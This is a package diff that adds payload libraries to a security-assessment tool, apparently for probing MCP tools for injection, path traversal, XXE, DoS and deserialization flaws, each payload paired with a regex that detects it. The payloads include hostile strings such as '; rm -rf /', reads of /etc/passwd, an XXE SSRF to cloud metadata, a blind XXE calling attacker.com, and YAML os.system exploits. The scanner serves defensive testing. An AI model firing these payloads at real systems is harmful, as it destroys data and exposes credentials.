@bryan-thompson/inspector-assessment 1.37.0 → 1.38.0

package/client/lib/lib/securityPatterns/injectionPatterns.js

@@ -0,0 +1,356 @@
+/**
+ * Injection Attack Patterns
+ *
+ * Critical injection vulnerabilities - highest severity attacks.
+ * Includes: Command Injection, AppleScript Command Injection, SQL Injection,
+ * Calculator Injection, Path Traversal, XXE Injection, NoSQL Injection
+ */
+/**
+ * Critical injection attack patterns (7 patterns)
+ */
+export const INJECTION_PATTERNS = [
+    // 1. COMMAND INJECTION
+    {
+        attackName: "Command Injection",
+        description: "Test if tool executes system commands instead of treating them as safe parameters",
+        payloads: [
+            // System command payloads - might trigger command execution tools
+            {
+                payload: "whoami",
+                evidence: /\b(root|user|admin)\b/i,
+                riskLevel: "HIGH",
+                description: "System identity command",
+                payloadType: "injection",
+            },
+            {
+                payload: "ls -la",
+                // Issue #27: Tighten pattern to require ls -la specific context
+                // Avoids false positives from "X total in memory" tool status messages
+                evidence: /(total\s+\d+\s*$|^[d-][rwx-]{9}\s+\d+|drwxr|permissions\s+denied)/im,
+                riskLevel: "HIGH",
+                description: "Directory listing command",
+                payloadType: "injection",
+            },
+            {
+                payload: "pwd",
+                evidence: /\/[a-z]+/i,
+                riskLevel: "HIGH",
+                description: "Working directory command",
+                payloadType: "injection",
+            },
+            {
+                payload: "; rm -rf /",
+                evidence: /(deleted|removed|rm.*rf)/i,
+                riskLevel: "HIGH",
+                description: "Command chaining with destructive command",
+                payloadType: "injection",
+            },
+            {
+                payload: "| cat /etc/passwd",
+                evidence: /(root:x:|file.*protocol.*executed|local.*file.*ran)/i,
+                riskLevel: "HIGH",
+                description: "Pipe to file access command",
+                payloadType: "injection",
+            },
+        ],
+    },
+    // 2. APPLESCRIPT COMMAND INJECTION (Issue #174)
+    {
+        attackName: "AppleScript Command Injection",
+        description: "Test if tool executes arbitrary AppleScript/osascript commands via string interpolation",
+        payloads: [
+            // Double quote escape to shell execution
+            {
+                payload: '" & do shell script "id" & "',
+                evidence: /uid=\d+|gid=\d+|\broot\b(?=:|\s|$)|whoami\s*$/i,
+                riskLevel: "HIGH",
+                description: "AppleScript string escape to shell (double quotes)",
+                payloadType: "injection",
+            },
+            // Single quote escape variant
+            {
+                payload: "' & do shell script 'whoami' & '",
+                evidence: /uid=\d+|gid=\d+|\broot\b(?=:|\s|$)|whoami\s*$/i,
+                riskLevel: "HIGH",
+                description: "AppleScript string escape to shell (single quotes)",
+                payloadType: "injection",
+            },
+            // System info extraction
+            {
+                payload: "osascript -e 'return (system info)'",
+                evidence: /processor|memory|system.*version/i,
+                riskLevel: "MEDIUM",
+                description: "AppleScript system info extraction",
+                payloadType: "injection",
+            },
+            // File read via shell escape
+            {
+                payload: '" & do shell script "cat /etc/passwd" & "',
+                evidence: /root:.*:0:0|\/bin\/(ba)?sh/i,
+                riskLevel: "HIGH",
+                description: "AppleScript file read via shell escape",
+                payloadType: "injection",
+            },
+        ],
+    },
+    // 3. SQL INJECTION
+    {
+        attackName: "SQL Injection",
+        description: "Test if tool properly escapes SQL commands",
+        payloads: [
+            {
+                payload: "'; DROP TABLE users;--",
+                evidence: /(dropped|deleted|table.*users|sql.*error|syntax.*error)/i,
+                riskLevel: "HIGH",
+                description: "SQL command injection",
+                payloadType: "injection",
+            },
+            {
+                payload: "' OR '1'='1",
+                evidence: /(sql|query|select|where.*1.*1|syntax.*error)/i,
+                riskLevel: "HIGH",
+                description: "Boolean-based SQL injection",
+                payloadType: "injection",
+            },
+            {
+                payload: "admin'--",
+                evidence: /(sql.*executed|admin.*query|syntax.*error)/i,
+                riskLevel: "HIGH",
+                description: "Comment-based SQL injection",
+                payloadType: "injection",
+            },
+            {
+                payload: "' UNION SELECT * FROM passwords--",
+                evidence: /(union.*select|password|sql.*error|syntax.*error)/i,
+                riskLevel: "HIGH",
+                description: "UNION-based SQL injection",
+                payloadType: "injection",
+            },
+        ],
+    },
+    // 4. CALCULATOR INJECTION
+    {
+        attackName: "Calculator Injection",
+        description: "Test if calculator/math tools execute arbitrary expressions instead of safely storing them",
+        payloads: [
+            // Simple arithmetic - triggers eval() in vulnerable calculator tools
+            {
+                payload: "2+2",
+                evidence: /The answer is 4/i,
+                riskLevel: "HIGH",
+                description: "Simple arithmetic expression (common trigger)",
+                payloadType: "injection",
+            },
+            {
+                payload: "5*5",
+                evidence: /The answer is 25/i,
+                riskLevel: "HIGH",
+                description: "Multiplication expression",
+                payloadType: "injection",
+            },
+            {
+                payload: "100+200",
+                evidence: /The answer is 300/i,
+                riskLevel: "HIGH",
+                description: "Addition with larger numbers",
+                payloadType: "injection",
+            },
+            // Natural language triggers
+            {
+                payload: "what is 10*10",
+                evidence: /The answer is 100/i,
+                riskLevel: "HIGH",
+                description: "Natural language math query",
+                payloadType: "injection",
+            },
+            {
+                payload: "calculate 50+50",
+                evidence: /The answer is 100/i,
+                riskLevel: "HIGH",
+                description: "Calculate command",
+                payloadType: "injection",
+            },
+            // Code injection via eval()
+            {
+                payload: "__import__('os').system('whoami')",
+                evidence: /\b(root|user|admin|ubuntu)\b/i,
+                riskLevel: "HIGH",
+                description: "Python code injection via eval",
+                payloadType: "injection",
+            },
+            {
+                payload: "1+1; __import__('subprocess').run(['whoami'])",
+                evidence: /\b(root|user|admin|ubuntu)\b/i,
+                riskLevel: "HIGH",
+                description: "eval chain to system command",
+                payloadType: "injection",
+            },
+        ],
+    },
+    // 5. PATH TRAVERSAL
+    {
+        attackName: "Path Traversal",
+        description: "Test if tool allows access to files outside intended directory",
+        payloads: [
+            {
+                payload: "../../../etc/passwd",
+                evidence: /(root:x:0:0|file.*accessed|passwd.*file)/i,
+                riskLevel: "HIGH",
+                description: "Unix path traversal",
+                payloadType: "injection",
+            },
+            {
+                payload: "..\\..\\..\\windows\\system32\\config\\sam",
+                evidence: /(\[boot loader\]|sam.*file|system32)/i,
+                riskLevel: "HIGH",
+                description: "Windows path traversal",
+                payloadType: "injection",
+            },
+            {
+                payload: "/etc/passwd",
+                evidence: /(root:x:0:0|file.*accessed)/i,
+                riskLevel: "HIGH",
+                description: "Absolute path access",
+                payloadType: "injection",
+            },
+            {
+                payload: "file:///etc/passwd",
+                evidence: /(root:x:|file.*protocol.*executed|local.*file.*accessed)/i,
+                riskLevel: "HIGH",
+                description: "File protocol exploitation",
+                payloadType: "injection",
+            },
+        ],
+    },
+    // 6. XXE INJECTION (XML External Entity)
+    {
+        attackName: "XXE Injection",
+        description: "Test if tool processes XML external entities, allowing file disclosure or SSRF",
+        payloads: [
+            // Classic XXE - file disclosure
+            {
+                payload: '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo>',
+                evidence: /(root:x:0:0|xxe.*processed|external.*entity.*loaded|file.*contents)/i,
+                riskLevel: "HIGH",
+                description: "XXE file disclosure via SYSTEM entity",
+                payloadType: "injection",
+                parameterTypes: ["xml", "data", "body", "payload", "content"],
+            },
+            // XXE with Windows path
+            {
+                payload: '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">]><foo>&xxe;</foo>',
+                evidence: /(\[fonts\]|\[extensions\]|xxe.*processed|windows.*file.*accessed)/i,
+                riskLevel: "HIGH",
+                description: "XXE Windows file disclosure",
+                payloadType: "injection",
+                parameterTypes: ["xml", "data", "body", "payload"],
+            },
+            // XXE SSRF via HTTP entity
+            {
+                payload: '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">]><foo>&xxe;</foo>',
+                evidence: /(ami-id|instance-id|xxe.*fetched|metadata.*accessed|ssrf.*xml)/i,
+                riskLevel: "HIGH",
+                description: "XXE SSRF to AWS metadata",
+                payloadType: "injection",
+                parameterTypes: ["xml", "data", "body", "payload"],
+            },
+            // Parameter entity XXE (blind XXE)
+            {
+                payload: '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd">%xxe;]><foo>test</foo>',
+                evidence: /(dtd.*loaded|parameter.*entity|external.*dtd|xxe.*processed)/i,
+                riskLevel: "HIGH",
+                description: "Blind XXE via parameter entity",
+                payloadType: "injection",
+                parameterTypes: ["xml", "data", "body", "payload"],
+            },
+            // XXE in SOAP request
+            {
+                payload: '<?xml version="1.0"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><soap:Body><foo>&xxe;</foo></soap:Body></soap:Envelope>',
+                evidence: /(root:x:0:0|soap.*xxe|xxe.*soap|external.*entity)/i,
+                riskLevel: "HIGH",
+                description: "XXE in SOAP envelope",
+                payloadType: "injection",
+                parameterTypes: ["xml", "soap", "body", "request"],
+            },
+        ],
+    },
+    // 7. NOSQL INJECTION
+    {
+        attackName: "NoSQL Injection",
+        description: "Test if tool is vulnerable to NoSQL injection attacks (MongoDB, Redis, etc.)",
+        payloads: [
+            // MongoDB operator injection
+            {
+                payload: '{"$gt": ""}',
+                evidence: /(all.*documents|query.*executed|mongodb.*error|operator.*injection|nosql.*executed)/i,
+                riskLevel: "HIGH",
+                description: "MongoDB $gt operator injection",
+                payloadType: "injection",
+                parameterTypes: ["query", "filter", "where", "search", "data"],
+            },
+            // MongoDB $ne always-true
+            {
+                payload: '{"$ne": null}',
+                evidence: /(returned.*all|bypass.*auth|nosql.*injection|query.*result|documents.*found)/i,
+                riskLevel: "HIGH",
+                description: "MongoDB $ne bypass injection",
+                payloadType: "injection",
+                parameterTypes: ["query", "filter", "where", "password", "username"],
+            },
+            // MongoDB $where JavaScript injection
+            {
+                payload: '{"$where": "this.password.match(/.*/)"}',
+                evidence: /(javascript.*executed|\$where.*processed|nosql.*js|all.*passwords|query.*executed)/i,
+                riskLevel: "HIGH",
+                description: "MongoDB $where JavaScript injection",
+                payloadType: "injection",
+                parameterTypes: ["query", "filter", "where", "data"],
+            },
+            // MongoDB $regex DOS
+            {
+                payload: '{"$regex": "^(a+)+$"}',
+                evidence: /(regex.*executed|redos|timeout|catastrophic.*backtracking|query.*slow)/i,
+                riskLevel: "MEDIUM",
+                description: "MongoDB ReDoS via $regex",
+                payloadType: "injection",
+                parameterTypes: ["query", "filter", "search", "pattern"],
+            },
+            // MongoDB union-style query
+            {
+                payload: "admin', $or: [ {}, { 'a': 'a",
+                evidence: /(admin.*returned|auth.*bypass|or.*injection|nosql.*executed)/i,
+                riskLevel: "HIGH",
+                description: "MongoDB $or injection bypass",
+                payloadType: "injection",
+                parameterTypes: ["username", "user", "name", "query"],
+            },
+            // Redis command injection
+            {
+                payload: "test\r\nCONFIG GET *\r\n",
+                evidence: /(redis.*config|requirepass|maxmemory|save.*seconds|redis.*command.*executed)/i,
+                riskLevel: "HIGH",
+                description: "Redis CRLF command injection",
+                payloadType: "injection",
+                parameterTypes: ["key", "value", "data", "input"],
+            },
+            // Redis Lua script injection
+            {
+                payload: "EVAL \"return redis.call('INFO')\" 0",
+                evidence: /(redis_version|used_memory|connected_clients|lua.*executed)/i,
+                riskLevel: "HIGH",
+                description: "Redis Lua script injection",
+                payloadType: "injection",
+                parameterTypes: ["script", "command", "query", "data"],
+            },
+            // CouchDB injection
+            {
+                payload: '{"selector": {"$or": [{"_id": {"$gt": null}}]}}',
+                evidence: /(all.*documents|couchdb.*query|selector.*executed|documents.*returned)/i,
+                riskLevel: "HIGH",
+                description: "CouchDB selector injection",
+                payloadType: "injection",
+                parameterTypes: ["query", "selector", "filter", "find"],
+            },
+        ],
+    },
+];

package/client/lib/lib/securityPatterns/resourceExhaustionPatterns.d.ts

@@ -0,0 +1,12 @@
+/**
+ * Resource Exhaustion and Deserialization Patterns
+ *
+ * Tests for DoS, resource exhaustion, and deserialization vulnerabilities.
+ * Includes: DoS/Resource Exhaustion, Insecure Deserialization
+ */
+import { AttackPattern } from "./types.js";
+/**
+ * Resource exhaustion and deserialization patterns (2 patterns)
+ */
+export declare const RESOURCE_EXHAUSTION_PATTERNS: AttackPattern[];
+//# sourceMappingURL=resourceExhaustionPatterns.d.ts.map

package/client/lib/lib/securityPatterns/resourceExhaustionPatterns.d.ts.map

@@ -0,0 +1 @@
+{"version":3,"file":"resourceExhaustionPatterns.d.ts","sourceRoot":"","sources":["../../../src/lib/securityPatterns/resourceExhaustionPatterns.ts"],"names":[],"mappings":"AAAA;;;;;GAKG;AAEH,OAAO,EAAE,aAAa,EAAE,MAAM,SAAS,CAAC;AAExC;;GAEG;AACH,eAAO,MAAM,4BAA4B,EAAE,aAAa,EAsOvD,CAAC"}

package/client/lib/lib/securityPatterns/resourceExhaustionPatterns.js

@@ -0,0 +1,215 @@
+/**
+ * Resource Exhaustion and Deserialization Patterns
+ *
+ * Tests for DoS, resource exhaustion, and deserialization vulnerabilities.
+ * Includes: DoS/Resource Exhaustion, Insecure Deserialization
+ */
+/**
+ * Resource exhaustion and deserialization patterns (2 patterns)
+ */
+export const RESOURCE_EXHAUSTION_PATTERNS = [
+    // 19. DOS/RESOURCE EXHAUSTION
+    {
+        attackName: "DoS/Resource Exhaustion",
+        description: "Test if tool is vulnerable to denial of service through resource exhaustion (ReDoS, memory allocation, timeout abuse)",
+        payloads: [
+            // ReDoS Payloads (Catastrophic Backtracking)
+            {
+                payload: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!",
+                evidence: /timeout|timed.?out|catastrophic|backtrack|hung|unresponsive|resource.?limit|regex.?timeout/i,
+                riskLevel: "HIGH",
+                description: "ReDoS via evil regex input (catastrophic backtracking)",
+                payloadType: "dos",
+                parameterTypes: [
+                    "pattern",
+                    "regex",
+                    "search",
+                    "query",
+                    "filter",
+                    "text",
+                    "input",
+                ],
+            },
+            {
+                payload: "(a+)+b",
+                evidence: /timeout|timed.?out|catastrophic|backtrack|regex.?error|pattern.?error|stack.?overflow/i,
+                riskLevel: "HIGH",
+                description: "ReDoS via nested quantifier pattern",
+                payloadType: "dos",
+                parameterTypes: ["pattern", "regex", "search", "query", "filter"],
+            },
+            {
+                payload: "a]a]a]a]a]a]a]a]a]a]a]a]a]a]a]a]",
+                evidence: /timeout|backtrack|regex.?overflow|stack.?overflow|parse.?error/i,
+                riskLevel: "HIGH",
+                description: "ReDoS via character class abuse",
+                payloadType: "dos",
+                parameterTypes: ["pattern", "regex", "search", "query"],
+            },
+            {
+                payload: "^(([a-z])+.)+[A-Z]([a-z])+$",
+                evidence: /timeout|catastrophic|backtrack|polynomial|exponential|regex.?complexity/i,
+                riskLevel: "HIGH",
+                description: "ReDoS via polynomial complexity pattern",
+                payloadType: "dos",
+                parameterTypes: ["pattern", "regex", "search", "query", "filter"],
+            },
+            // Memory Allocation Payloads
+            {
+                payload: "999999999999",
+                evidence: /memory.?error|allocation.?failed|out.?of.?memory|heap|buffer.?overflow|resource.?limit|integer.?overflow/i,
+                riskLevel: "HIGH",
+                description: "Memory exhaustion via large number input",
+                payloadType: "dos",
+                parameterTypes: [
+                    "size",
+                    "count",
+                    "length",
+                    "limit",
+                    "amount",
+                    "quantity",
+                    "number",
+                ],
+            },
+            {
+                // Pre-evaluated 10KB string
+                payload: "x".repeat(10000),
+                evidence: /too.?long|exceeds.?length|maximum.?length|length.?limit|resource.?limit|payload.?too.?large|memory/i,
+                riskLevel: "MEDIUM",
+                description: "Memory exhaustion via large string payload (10KB)",
+                payloadType: "dos",
+            },
+            {
+                // 10-level deep nested JSON
+                payload: '{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{}}}}}}}}}}}',
+                evidence: /stack.?overflow|recursion|depth.?limit|nesting.?limit|too.?deep|parse.?error|json.?depth/i,
+                riskLevel: "HIGH",
+                description: "Stack exhaustion via deep JSON nesting",
+                payloadType: "dos",
+                parameterTypes: ["data", "json", "body", "payload", "input"],
+            },
+            // Timeout Abuse Payloads
+            {
+                payload: "sleep(99999)",
+                evidence: /timeout|timed.?out|operation.?cancelled|deadline|long.?running|sleep.?executed/i,
+                riskLevel: "HIGH",
+                description: "Timeout abuse via sleep command injection",
+                payloadType: "dos",
+                parameterTypes: ["command", "script", "code", "expression", "input"],
+            },
+            {
+                payload: "WAITFOR DELAY '00:10:00'",
+                evidence: /timeout|timed.?out|sql.?timeout|query.?timeout|waitfor.?executed/i,
+                riskLevel: "HIGH",
+                description: "Timeout abuse via SQL WAITFOR",
+                payloadType: "dos",
+                parameterTypes: ["query", "sql", "command"],
+            },
+            {
+                // 20-level nested array
+                payload: "[[[[[[[[[[[[[[[[[[[[]]]]]]]]]]]]]]]]]]]]",
+                evidence: /stack.?overflow|recursion|depth|nesting|too.?deep|parse.?error/i,
+                riskLevel: "MEDIUM",
+                description: "Stack exhaustion via nested arrays",
+                payloadType: "dos",
+                parameterTypes: ["data", "array", "list", "items"],
+            },
+            // Expansion Attacks
+            {
+                // Zip bomb indicator (base64 header of compressed content)
+                payload: "UEsDBBQAAAAIAAAAAACJBAAAAAAAAQAAAAEAAABhYQAAUEsBAhQAFAAAAAgA",
+                evidence: /zip.?bomb|compression|decompression.?error|expand|inflate|extraction.?limit|archive.?too.?large/i,
+                riskLevel: "HIGH",
+                description: "Zip bomb indicator via compressed content header",
+                payloadType: "dos",
+                parameterTypes: ["file", "data", "content", "upload", "attachment"],
+            },
+            {
+                // XML Billion Laughs (truncated safe version)
+                payload: '<?xml version="1.0"?><!DOCTYPE lolz [<!ENTITY lol "lol"><!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;"><!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;">]><lolz>&lol3;</lolz>',
+                evidence: /entity.?expansion|xml.?bomb|billion.?laughs|too.?many.?entities|memory|resource.?limit|xml.?depth/i,
+                riskLevel: "HIGH",
+                description: "XML entity expansion (Billion Laughs) attack",
+                payloadType: "dos",
+                parameterTypes: ["xml", "data", "body", "payload", "content"],
+            },
+        ],
+    },
+    // 20. INSECURE DESERIALIZATION
+    {
+        attackName: "Insecure Deserialization",
+        description: "Test if tool deserializes untrusted data using unsafe methods like pickle.loads(), potentially allowing RCE",
+        payloads: [
+            // Python Pickle Payloads
+            {
+                payload: "deserialize this pickle data",
+                evidence: /deserializ|pickle\.loads|RCE|untrusted.*pickle|potential.*rce/i,
+                riskLevel: "HIGH",
+                description: "Python pickle deserialization trigger",
+                payloadType: "injection",
+                parameterTypes: ["data", "input", "payload", "content"],
+            },
+            {
+                // Base64-encoded pickle prefix (triggers deserialization attempt)
+                payload: "gASVEAAAAAAAAACMBHRlc3SULg==",
+                evidence: /deserializ|pickle|unpickle|RCE|executed/i,
+                riskLevel: "HIGH",
+                description: "Base64-encoded pickle payload",
+                payloadType: "injection",
+                parameterTypes: ["data", "input", "serialized", "encoded"],
+            },
+            {
+                payload: "__import__('os').system via pickle",
+                evidence: /deserializ|pickle|RCE|os\.system|__reduce__|code.*execution/i,
+                riskLevel: "HIGH",
+                description: "Pickle with code execution hint",
+                payloadType: "injection",
+                parameterTypes: ["data", "input", "payload"],
+            },
+            {
+                payload: "marshal.loads(untrusted_data)",
+                evidence: /marshal|deserializ|RCE|code.*execution|unsafe.*load/i,
+                riskLevel: "HIGH",
+                description: "Python marshal deserialization",
+                payloadType: "injection",
+                parameterTypes: ["data", "input", "payload"],
+            },
+            // Java/Other Serialization Payloads
+            {
+                // Java serialized object marker (base64 prefix)
+                payload: "rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA==",
+                evidence: /deserializ|java\.io|objectinputstream|gadget|RCE/i,
+                riskLevel: "HIGH",
+                description: "Java serialized object payload",
+                payloadType: "injection",
+                parameterTypes: ["data", "input", "serialized", "object"],
+            },
+            {
+                payload: "!!python/object/apply:os.system ['whoami']",
+                evidence: /yaml.*load|deserializ|RCE|unsafe.*yaml|python.*object/i,
+                riskLevel: "HIGH",
+                description: "YAML deserialization exploit",
+                payloadType: "injection",
+                parameterTypes: ["data", "yaml", "config", "input"],
+            },
+            {
+                payload: '{"__type__": "System.Diagnostics.Process", "command": "whoami"}',
+                // Pattern must be specific - "process" alone matches "not processed" (false positive)
+                // Look for: type coercion, deserialization, System.Process instantiation, or RCE evidence
+                evidence: /type.*coercion|type.*instantiat|deserializ|System\..*Process|Process\.Start|RCE|unsafe.*type/i,
+                riskLevel: "HIGH",
+                description: "JSON type confusion payload",
+                payloadType: "injection",
+                parameterTypes: ["data", "json", "input", "payload"],
+            },
+            {
+                payload: "unserialize(base64_decode($_POST['data']))",
+                evidence: /unserializ|deserializ|RCE|php.*object|unsafe/i,
+                riskLevel: "HIGH",
+                description: "PHP unserialization pattern",
+                payloadType: "injection",
+                parameterTypes: ["data", "input", "payload"],
+            },
+        ],
+    },
+];

package/client/lib/lib/securityPatterns/toolSpecificPatterns.d.ts

@@ -0,0 +1,13 @@
+/**
+ * Tool-Specific Vulnerability Patterns
+ *
+ * Patterns targeting specific tool behaviors and vulnerabilities.
+ * Includes: SSRF/Indirect Injection, Unicode Bypass, Nested Injection,
+ * Package Squatting, Data Exfiltration, Configuration Drift, Tool Shadowing
+ */
+import { AttackPattern } from "./types.js";
+/**
+ * Tool-specific vulnerability patterns (7 patterns)
+ */
+export declare const TOOL_SPECIFIC_PATTERNS: AttackPattern[];
+//# sourceMappingURL=toolSpecificPatterns.d.ts.map

package/client/lib/lib/securityPatterns/toolSpecificPatterns.d.ts.map

@@ -0,0 +1 @@
+{"version":3,"file":"toolSpecificPatterns.d.ts","sourceRoot":"","sources":["../../../src/lib/securityPatterns/toolSpecificPatterns.ts"],"names":[],"mappings":"AAAA;;;;;;GAMG;AAEH,OAAO,EAAE,aAAa,EAAE,MAAM,SAAS,CAAC;AAExC;;GAEG;AACH,eAAO,MAAM,sBAAsB,EAAE,aAAa,EAkZjD,CAAC"}